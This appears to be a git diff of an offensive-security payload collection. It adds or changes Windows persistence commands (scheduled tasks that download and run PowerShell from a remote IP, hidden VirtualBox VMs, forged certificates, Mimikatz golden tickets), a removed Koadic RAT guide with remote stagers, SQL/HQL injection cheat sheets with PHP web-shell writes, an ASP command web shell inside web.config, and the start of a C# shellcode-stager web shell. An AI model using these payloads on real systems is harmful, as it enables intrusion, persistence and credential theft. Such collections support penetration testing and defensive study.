```
### Startup Elevated
Create a batch script in the user startup folder.
```powershell
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
```
### Services Elevated
@ -273,6 +346,7 @@ Register-ScheduledTask "Backdoor" -InputObject $D
# Native schtasks
schtasks /create /sc minute /mo 1 /tn "eviltask" /tr C:\tools\shell.cmd /ru "SYSTEM"
schtasks /create /sc minute /mo 1 /tn "eviltask" /tr calc /ru "SYSTEM" /s dc-mantvydas /u user /p password
schtasks /Create /RU "NT AUTHORITY\SYSTEM" /tn [TaskName] /tr "regsvr32.exe -s \"C:\Users\*\AppData\Local\Temp\[payload].dll\"" /SC ONCE /Z /ST [Time] /ET [Time]
##(X86) - On User Login
schtasks /create /tn OfficeUpdaterA /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System
@ -369,6 +443,102 @@ Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <DC
Enter-PSSession -ComputerName <AnyMachineYouLike> -Credential <Domain>\Administrator
```
### Virtual Machines
> Based on the Shadow Bunny technique.
```ps1
# download virtualbox
Invoke-WebRequest "https://download.virtualbox.org/virtualbox/6.1.8/VirtualBox-6.1.8-137981-Win.exe" -OutFile $env:TEMP\VirtualBox-6.1.8-137981-Win.exe
# perform a silent install and avoid creating desktop and quick launch icons
VirtualBox-6.0.14-133895-Win.exe --silent --ignore-reboot --msiparams VBOX_INSTALLDESKTOPSHORTCUT=0,VBOX_INSTALLQUICKLAUNCHSHORTCUT=0
# in \Program Files\Oracle\VirtualBox\VBoxManage.exe
# Disabling notifications
.\VBoxManage.exe setextradata global GUI/SuppressMessages "all"
# Download the Virtual machine disk
Copy-Item \\smbserver\images\shadowbunny.vhd $env:USERPROFILE\VirtualBox\IT Recovery\shadowbunny.vhd
# Create a new VM
$vmname = "IT Recovery"
.\VBoxManage.exe createvm --name $vmname --ostype "Ubuntu" --register
# Add a network card in NAT mode
.\VBoxManage.exe modifyvm $vmname --ioapic on # required for 64bit
.\VBoxManage.exe modifyvm $vmname --memory 1024 --vram 128
.\VBoxManage.exe modifyvm $vmname --nic1 nat
.\VBoxManage.exe modifyvm $vmname --audio none
.\VBoxManage.exe modifyvm $vmname --graphicscontroller vmsvga
.\VBoxManage.exe modifyvm $vmname --description "Shadowbunny"
# Mount the VHD file
.\VBoxManage.exe storagectl $vmname -name "SATA Controller" -add sata
.\VBoxManage.exe storageattach $vmname -comment "Shadowbunny Disk" -storagectl "SATA Controller" -type hdd -medium "$env:USERPROFILE\VirtualBox VMs\IT Recovery\shadowbunny.vhd" -port 0
# Start the VM
.\VBoxManage.exe startvm $vmname type headless
# optional - adding a shared folder
# require: VirtualBox Guest Additions
.\VBoxManage.exe sharedfolder add $vmname -name shadow_c -hostpath c:\ -automount
# then mount the folder in the VM
sudo mkdir /mnt/c
sudo mount -t vboxsf shadow_c /mnt/c
```
## Domain
### User Certificate
```ps1
# Request a certificate for the User template
.\Certify.exe request /ca:CA01.megacorp.local\CA01 /template:User
# Convert the certificate for Rubeus
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
# Request a TGT using the certificate
.\Rubeus.exe asktgt /user:username /certificate:C:\Temp\cert.pfx /password:Passw0rd123!
```
### Golden Certificate
> Require elevated privileges in the Active Directory, or on the ADCS machine
* Export CA as p12 file: `certsrv.msc` > `Right Click` > `Back up CA...`
* Alternative 1: Using Mimikatz you can extract the certificate as PFX/DER
```ps1
privilege::debug
crypto::capi
crypto::cng
crypto::certificates /systemstore:local_machine /store:my /export
```
* Alternative 2: Using SharpDPAPI, then convert the certificate: `openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx`
* [ForgeCert](https://github.com/GhostPack/ForgeCert) - Forge a certificate for any active domain user using the CA certificate
```ps1
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName harry@lab.local --NewCertPath harry.pfx --NewCertPassword Password123
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName DC$@lab.local --NewCertPath dc.pfx --NewCertPassword Password123
```
* Finally you can request a TGT using the Certificate
```ps1
Rubeus.exe asktgt /user:ron /certificate:harry.pfx /password:Password123
```
### Golden Ticket
> Forge a Golden ticket using Mimikatz
```ps1
kerberos::purge
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
kerberos::tgt
```
## References
* [A view of persistence - Rastamouse](https://rastamouse.me/2018/03/a-view-of-persistence/)
@ -381,3 +551,5 @@ Enter-PSSession -ComputerName <AnyMachineYouLike> -Credential <Domain>\Administr
* [Persistence - BITS Jobs - @netbiosX](https://pentestlab.blog/2019/10/30/persistence-bits-jobs/)
* [Persistence Image File Execution Options Injection - @netbiosX](https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/)
* [Persistence Registry Run Keys - @netbiosX](https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/)
* [Golden Certificate - NOVEMBER 15, 2021](https://pentestlab.blog/2021/11/15/golden-certificate/)
* [Beware of the Shadowbunny - Using virtual machines to persist and evade detections - Sep 23, 2020 - wunderwuzzi](https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/)

View File

@ -1,123 +0,0 @@
# Koadic C3 COM Command & Control - JScript RAT
> Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire.
## Installation
```powershell
git clone https://github.com/zerosum0x0/koadic
git submodule init
git submodule update
pip2.7 install -r requirements.txt --user
python2.7 koadic
```
## Set a listener
```powershell
use stager/js/mshta
set LHOST 192.168.1.19
set SRVPORT 4444
run
[>] mshta http://192.168.1.19:4444/6DX7f
```
```powershell
use stager/js/wmic
set LHOST 192.168.1.19
set SRVPORT 4444
run
[>] wmic os get /FORMAT:"http://192.168.1.19:4444/lQGx5.xsl"
```
### Stagers
Stagers hook target zombies and allow you to use implants.
Module | Description
--------|------------
stager/js/mshta | serves payloads using MSHTA.exe HTML Applications
stager/js/regsvr | serves payloads using regsvr32.exe COM+ scriptlets
stager/js/wmic | serves payloads using WMIC XSL
stager/js/rundll32_js | serves payloads using rundll32.exe
stager/js/disk | serves payloads using files on disk
## List zombies and interact with them
```powershell
(koadic: sta/js/wmic)$ zombies
ID IP STATUS LAST SEEN
--- --------- ------- ------------
0 192.168.1.30 Alive 2018-10-04 17:07:12
(koadic: sta/js/wmic)$ zombies 0
ID: 0
Status: Alive
First Seen: 2018-10-04 17:05:00
Last Seen: 2018-10-04 17:14:42
IP: 192.168.1.30
User: DESKTOP-68URA9U\CrashWin
[...]
Elevated: No
[...]
```
Interact with `zombies zombie_id`, get a shell with `cmdshell zombie_id`.
```powershell
[koadic: ZOMBIE 0 (192.168.1.30) - C:\Users\CrashWin]> whoami
[*] Zombie 0: Job 1 (implant/manage/exec_cmd) created.
[+] Zombie 0: Job 1 (implant/manage/exec_cmd) completed.
Result for `cd C:\Users\CrashWin & whoami`:
desktop-68ura9u\crashwin
```
## Use an implant
Select an implant with `use module`, then fill the `info` with `set INFO value`, finally start the module with `run`.
```powershell
(koadic: sta/js/mshta)$ use implant/phish/password_box
(koadic: imp/phi/password_box)$ set ZOMBIE 1
(koadic: imp/phi/password_box)$ run
Input contents:
MyStrongPassword123!
```
### Implants
Implants start jobs on zombies.
Module | Description
--------|------------
implant/elevate/bypassuac_eventvwr | Uses enigma0x3's eventvwr.exe exploit to bypass UAC on Windows 7, 8, and 10.
implant/elevate/bypassuac_sdclt | Uses enigma0x3's sdclt.exe exploit to bypass UAC on Windows 10.
implant/fun/zombie | Maxes volume and opens The Cranberries YouTube in a hidden window.
implant/fun/voice | Plays a message over text-to-speech.
implant/gather/clipboard | Retrieves the current content of the user clipboard.
implant/gather/enum_domain_info | Retrieve information about the Windows domain.
implant/gather/hashdump_sam | Retrieves hashed passwords from the SAM hive.
implant/gather/hashdump_dc | Domain controller hashes from the NTDS.dit file.
implant/gather/user_hunter | Locate users logged on to domain computers (using Dynamic Wrapper X).
implant/inject/mimikatz_dynwrapx | Injects a reflective-loaded DLL to run powerkatz.dll (using Dynamic Wrapper X).
implant/inject/mimikatz_dotnet2js | Injects a reflective-loaded DLL to run powerkatz.dll (@tirannido DotNetToJS).
implant/inject/shellcode_excel | Runs arbitrary shellcode payload (if Excel is installed).
implant/manage/enable_rdesktop | Enables remote desktop on the target.
implant/manage/exec_cmd | Run an arbitrary command on the target, and optionally receive the output.
implant/phishing/password_box | Prompt a user to enter their password.
implant/pivot/stage_wmi | Hook a zombie on another machine using WMI.
implant/pivot/exec_psexec | Run a command on another machine using psexec from sysinternals.
implant/scan/tcp | Uses HTTP to scan open TCP ports on the target zombie LAN.
implant/utils/download_file | Downloads a file from the target zombie.
implant/utils/multi_module | Run a number of implants in succession.
implant/utils/upload_file | Uploads a file from the listening server to the target zombies.
## References
- [Pentestlab - koadic](https://pentestlab.blog/tag/koadic/)
- [zerosum0x0 Github - koadic](https://github.com/zerosum0x0/koadic)

View File

@ -14,6 +14,7 @@
* [Default Writeable Folders](#default-writeable-folders)
* [EoP - Looting for passwords](#eop---looting-for-passwords)
* [SAM and SYSTEM files](#sam-and-system-files)
* [LAPS Settings](#laps-settings)
* [HiveNightmare](#hivenightmare)
* [Search for file contents](#search-for-file-contents)
* [Search for a file with a certain filename](#search-for-a-file-with-a-certain-filename)
@ -394,6 +395,15 @@ samdump2 SYSTEM SAM -o sam.txt
Either crack it with `john -format=NT /root/sam.txt` or use Pass-The-Hash.
### LAPS Settings
Extract `HKLM\Software\Policies\Microsoft Services\AdmPwd` from Windows Registry.
* LAPS Enabled: AdmPwdEnabled
* LAPS Admin Account Name: AdminAccountName
* LAPS Password Complexity: PasswordComplexity
* LAPS Password Length: PasswordLength
* LAPS Expiration Protection Enabled: PwdExpirationProtectionEnabled
### HiveNightmare
@ -1396,10 +1406,10 @@ Metasploit : exploit/windows/local/ms16_032_secondary_logon_handle_privesc
### MS17-010 (Eternal Blue)
Check the vulnerability with the following nmap script.
Check the vulnerability with the following nmap script or crackmapexec: `crackmapexec smb 10.10.10.10 -u '' -p '' -d domain -M ms17-010`.
```c
nmap -Pn -p445--open--max-hostgroup 3--script smb-vuln-ms17010 <ip_netblock>
nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms17010 <ip_netblock>
```
Metasploit modules to exploit `EternalRomance/EternalSynergy/EternalChampion`.

View File

@ -0,0 +1,70 @@
# Google BigQuery SQL Injection
## Summary
* [Detection](#detection)
* [BigQuery Comment](#bigquery-comment)
* [BigQuery Union Based](#bigquery-union-based)
* [BigQuery Error Based](#bigquery-error-based)
* [BigQuery Boolean Based](#bigquery-boolean-based)
* [BigQuery Time Based](#bigquery-time-based)
* [References](#references)
## Detection
* Use a classic single quote to trigger an error: `'`
* Identify BigQuery using backtick notation: ```SELECT .... FROM `` AS ...```
```ps1
# Gathering project id
select @@project_id
# Gathering all dataset names
select schema_name from INFORMATION_SCHEMA.SCHEMATA
# Gathering data from specific project id & dataset
select * from `project_id.dataset_name.table_name`
```
## BigQuery Comment
```ps1
select 1#from here it is not working
select 1/*between those it is not working*/
```
## BigQuery Union Based
```ps1
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT 'asd'),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
' GROUP BY column_name UNION ALL SELECT column_name,1,1 FROM (select column_name AS new_name from `project_id.dataset_name.table_name`) AS A GROUP BY column_name#
```
## BigQuery Error Based
```ps1
# Error based - division by zero
' OR if(1/(length((select('a')))-1)=1,true,false) OR '
# Error based - casting: select CAST(@@project_id AS INT64)
dataset_name.column_name` union all select CAST(@@project_id AS INT64) ORDER BY 1 DESC#
```
## BigQuery Boolean Based
```ps1
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
```
## BigQuery Time Based
* Time based functions does not exist in the BigQuery syntax.
## References
* [BigQuery SQL Injection Cheat Sheet - Ozgur Alp - Feb 14](https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac)
* [BigQuery Documentation - Query Syntax](https://cloud.google.com/bigquery/docs/reference/standard-sql/query-syntax)
* [BigQuery Documentation - Functions and Operators](https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators)
* [Akamai Web Application Firewall Bypass Journey: Exploiting “Google BigQuery” SQL Injection Vulnerability - By Duc Nguyen The, March 31, 2020](https://hackemall.live/index.php/2020/03/31/akamai-web-application-firewall-bypass-journey-exploiting-google-bigquery-sql-injection-vulnerability/)

View File

@ -1,11 +1,18 @@
# Hibernate Query Language Injection
> Hibernate ORM (Hibernate in short) is an object-relational mapping tool for the Java programming language. It provides a framework for mapping an object-oriented domain model to a relational database. - Wikipedia
## Summary
* [HQL Comments](#hql-comments)
* [HQL List Columns](#hql-list-columns)
* [HQL Error Based](#hql-error-based)
* [Single Quote Escaping](#single-quote-escaping)
* [$-quoted strings](#--quoted-strings)
* [DBMS Magic functions](#dbms-magic-functions)
* [Unicode](#unicode)
* [Java constants](#java-constants)
* [Methods by DBMS](#methods-by-dbms)
* [References](#references)
## HQL Comments
@ -49,10 +56,107 @@ select blogposts0_.id as id18_, blogposts0_.author as author18_, blogposts0_.pro
:warning: **HQL does not support UNION queries**
## Single Quote Escaping
Method works for MySQL DBMS which escapes SINGLE QUOTES in strings with SLASH `\'`.
In HQL SINGLE QUOTES is escaped in strings by doubling `''`.
```
'abc\''or 1=(select 1)--'
```
In HQL it is a string, in MySQL it is a string and additional SQL expression.
## $-quoted strings
Method works for DBMS which allow DOLLAR-QUOTED strings in SQL expressions: PostgreSQL, H2.
Hibernate ORM allows identifiers starting with `$$`.
```
$$='$$=concat(chr(61),chr(39)) and 1=1--'
```
## DBMS Magic functions
Method works for DBMS which have MAGIC FUNCTIONS which evaluate SQL expression in string parameter: PostgreSQL, Oracle.
Hibernate allows to specify any function name in HQL expression.
PostgreSQL has built-in function `query_to_xml('Arbitrary SQL')`.
```
array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true, false,'')),1)
```
Oracle has built-in function `DBMS_XMLGEN.getxml('SQL')`
```
NVL(TO_CHAR(DBMS_XMLGEN.getxml('select 1 where 1337>1')),'1')!='1'
```
## Unicode
Method works for DBMS which allow UNICODE delimiters (Ex. U+00A0) between SQL tokens: Microsoft SQL Server, H2.
In Microsoft SQL SERVER `SELECT LEN([U+00A0](select[U+00A0](1))` works the same as `SELECT LEN((SELECT(1)))`;
HQL allows UNICODE symbols in identifiers (function or parameter names).
```
SELECT p FROM hqli.persistent.Post p where p.name='dummy' or 1<LEN( (select top 1 name from users)) or '1'='11'
```
## Java constants
Method works for most DBMS (does not work for MySQL).
Hibernate resolves Java public static fields (Java constants) in HQL queries:
- Class with Java constant must be in classpath
- Ex. `java.lang.Character.SIZE` is resolved to 16
- String or char constants are additionally surrounded by single quotes
To use JAVA CONSTANTS method we need special char or string fields declared in classes or interfaces on classpath.
```java
public class Constants {
public static final String S_QUOTE = "'";
public static final String HQL_PART = "select * from Post where name = '";
public static final char C_QUOTE_1 = '\'';
public static final char C_QUOTE_2 = '\047';
public static final char C_QUOTE_3 = 39;
public static final char C_QUOTE_4 = 0x27;
public static final char C_QUOTE_5 = 047;
}
```
Some usable constants in well-known Java libraries:
```
org.apache.batik.util.XMLConstants.XML_CHAR_APOS [ Apache Batik ]
com.ibm.icu.impl.PatternTokenizer.SINGLE_QUOTE [ ICU4J ]
jodd.util.StringPool.SINGLE_QUOTE [ Jodd ]
ch.qos.logback.core.CoreConstants.SINGLE_QUOTE_CHAR [ Logback ]
cz.vutbr.web.csskit.OutputUtil.STRING_OPENING [ jStyleParser ]
com.sun.java.help.impl.DocPConst.QUOTE [ JavaHelp ]
org.eclipse.help.internal.webapp.utils.JSonHelper.QUOTE [ EclipseHelp ]
```
```
dummy' and hqli.persistent.Constants.C_QUOTE_1*X('<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --')=1 and '1'='1
```
## Methods by DBMS
![image](https://user-images.githubusercontent.com/16578570/163428666-a22105a8-287c-4997-8aef-8f372a1b86e9.png)
## References
* [HQL for pentesters - February 12, 2014 - Philippe Arteau](https://blog.h3xstream.com/2014/02/hql-for-pentesters.html)
* [How to put a comment into HQL (Hibernate Query Language)? - Thomas Bratt](https://stackoverflow.com/questions/3196975/how-to-put-a-comment-into-hql-hibernate-query-language)
* [HQL : Hyperinsane Query Language - 04/06/2015 - Renaud Dubourguais](https://www.synacktiv.com/ressources/hql2sql_sstic_2015_en.pdf)
* [ORM2Pwn: Exploiting injections in Hibernate ORM - Nov 26, 2015 - Mikhail Egorov](https://www.slideshare.net/0ang3el/orm2pwn-exploiting-injections-in-hibernate-orm)
* [New Methods for Exploiting ORM Injections in Java Applications - HITBSecConf2016 - Mikhail Egorov - Sergey Soldatov](https://conference.hitb.org/hitbsecconf2016ams/materials/D2T2%20-%20Mikhail%20Egorov%20and%20Sergey%20Soldatov%20-%20New%20Methods%20for%20Exploiting%20ORM%20Injections%20in%20Java%20Applications.pdf)
* [HQL Injection Exploitation in MySQL - July 18, 2019 - Olga Barinova](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/hql-injection-exploitation-in-mysql/)

View File

@ -23,6 +23,7 @@
* [MSSQL UNC path](#mssql-unc-path)
* [MSSQL Make user DBA](#mssql-make-user-dba-db-admin)
* [MSSQL Trusted Links](#mssql-trusted-links)
* [MSSQL List permissions](#mssql-list-permissions)
## MSSQL Comments
@ -96,7 +97,7 @@ SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins (Nee
MSSQL 2005
SELECT name, password_hash FROM master.sys.sql_logins
SELECT name + - + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
```
## MSSQL Union Based
@ -297,6 +298,33 @@ EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '')
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
```
## List permissions
Listing effective permissions of current user on the server.
```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
```
Listing effective permissions of current user on the database.
```sql
SELECT * FROM fn_my_permissions (NULL, 'DATABASE');
```
Listing effective permissions of current user on a view.
```
SELECT * FROM fn_my_permissions('Sales.vIndividualCustomer', 'OBJECT') ORDER BY subentity_name, permission_name;
```
Check if current user is a member of the specified server role.
```sql
-- possible roles: sysadmin, serveradmin, dbcreator, setupadmin, bulkadmin, securityadmin, diskadmin, public, processadmin
SELECT is_srvrolemember('sysadmin');
```
## References
* [Pentest Monkey - mssql-sql-injection-cheat-sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet)
@ -306,3 +334,5 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
* [DAFT: Database Audit Framework & Toolkit - NetSPI](https://github.com/NetSPI/DAFT)
* [SQL Server UNC Path Injection Cheatsheet - nullbind](https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e)
* [Full MSSQL Injection PWNage - ZeQ3uL && JabAv0C - 28 January 2009](https://www.exploit-db.com/papers/12975)
* [Microsoft - sys.fn_my_permissions (Transact-SQL)](https://docs.microsoft.com/en-us/sql/relational-databases/system-functions/sys-fn-my-permissions-transact-sql?view=sql-server-ver15)
* [Microsoft - IS_SRVROLEMEMBER (Transact-SQL)](https://docs.microsoft.com/en-us/sql/t-sql/functions/is-srvrolemember-transact-sql?view=sql-server-ver15)

View File

@ -220,6 +220,16 @@ Works with `MySQL >= 5.1`
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)))--
```
### MYSQL Error Based - NAME_CONST function (only for constants)
Works with `MySQL >= 5.0`
```sql
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)--
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(user(),1),NAME_CONST(user(),1)) as x)--
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(database(),1),NAME_CONST(database(),1)) as x)--
```
## MYSQL Blind
### MYSQL Blind with substring equivalent
@ -413,7 +423,7 @@ GRANT FILE ON *.* TO 'root'@'localhost'; FLUSH PRIVILEGES;#
### Into dumpfile method
```sql
[...] UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPILE 'C:/Program Files/EasyPHP-12.1/www/shell.php'
[...] UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPFILE 'C:/Program Files/EasyPHP-12.1/www/shell.php'
[...] UNION SELECT 0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/images/shell.php';
```

View File

@ -79,6 +79,8 @@ AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
## Oracle SQL Command execution
* [ODAT (Oracle Database Attacking Tool)](https://github.com/quentinhardy/odat)
```sql
/* create Java class */
BEGIN

View File

@ -4,6 +4,7 @@
* [SQLite comments](#sqlite-comments)
* [SQLite version](#sqlite-version)
* [String based - Extract database structure](#string-based---extract-database-structure)
* [Integer/String based - Extract table name](#integerstring-based---extract-table-name)
* [Integer/String based - Extract column name](#integerstring-based---extract-column-name)
* [Boolean - Count number of tables](#boolean---count-number-of-tables)
@ -26,6 +27,12 @@
select sqlite_version();
```
## String based - Extract database structure
```sql
SELECT sql FROM sqlite_schema
```
## Integer/String based - Extract table name
```sql
@ -75,7 +82,7 @@ AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
```sql
ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ('<?system($_GET['cmd']); ?>');--
INSERT INTO lol.pwn (dataz) VALUES ('<?php system($_GET['cmd']); ?>');--
```
## Remote Command Execution using SQLite command - Load_extension

View File

@ -223,6 +223,12 @@ List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
```
### Bypass using unicode
In some languages (.NET, Python 3) regex supports unicode by default.
`\d` includes `0123456789` but also `๐๑๒๓๔๕๖๗๘๙`.
### Bypass filter_var() php function
```powershell

View File

@ -1,8 +1,8 @@
<?xml version="1.0″ encoding="UTF-8″?>
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
@ -15,20 +15,51 @@
</requestFiltering>
</security>
</system.webServer>
<appSettings>
</appSettings>
</configuration>
<!
<% Response.write("-"&"->")
Response.write("</p>
<pre>")</p>
<p>Set wShell1 = CreateObject("WScript.Shell")
Set cmd1 = wShell1.Exec("whoami")
output1 = cmd1.StdOut.Readall()
set cmd1 = nothing: Set wShell1 = nothing</p>
<p>Response.write(output1)
Response.write("</pre>
<p><!-"&"-") %>
>
<!--
<% Response.write("-"&"->")%>
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
<!-- web.config payload from https://poc-server.com/blog/2018/05/22/rce-by-uploading-a-web-config/ -->
Function getCommandOutput(theCommand)
Dim objShell, objCmdExec
Set objShell = CreateObject("WScript.Shell")
Set objCmdExec = objshell.exec(thecommand)
getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>
<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
</FORM>
<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>The server's port:</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p>
<br>
</BODY>
<%Response.write("<!-"&"-") %>
-->

View File

@ -1,65 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<!--
<% Response.write("-"&"->")%>
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
Dim objShell, objCmdExec
Set objShell = CreateObject("WScript.Shell")
Set objCmdExec = objshell.exec(thecommand)
getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>
<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
</FORM>
<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>The server's port:</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p>
<br>
</BODY>
<%Response.write("<!-"&"-") %>
-->

View File

@ -0,0 +1,55 @@
<%@ WebService Language="C#" class="SoapStager"%>
using System;
using System.IO;
using System.Web;
using System.Web.Services;
using System.Net;
using System.Net.NetworkInformation;
using System.Net.Security;
// SRC: https://red.0xbad53c.com/red-team-operations/initial-access/webshells/iis-soap
// https://github.com/0xbad53c/webshells/tree/main/iis
[WebService(Namespace = "http://microsoft.com/" ,Description ="SOAP Stager Webshell" , Name ="SoapStager")]
[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
public class SoapStager : MarshalByRefObject
{
private static Int32 MEM_COMMIT=0x1000;
private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);
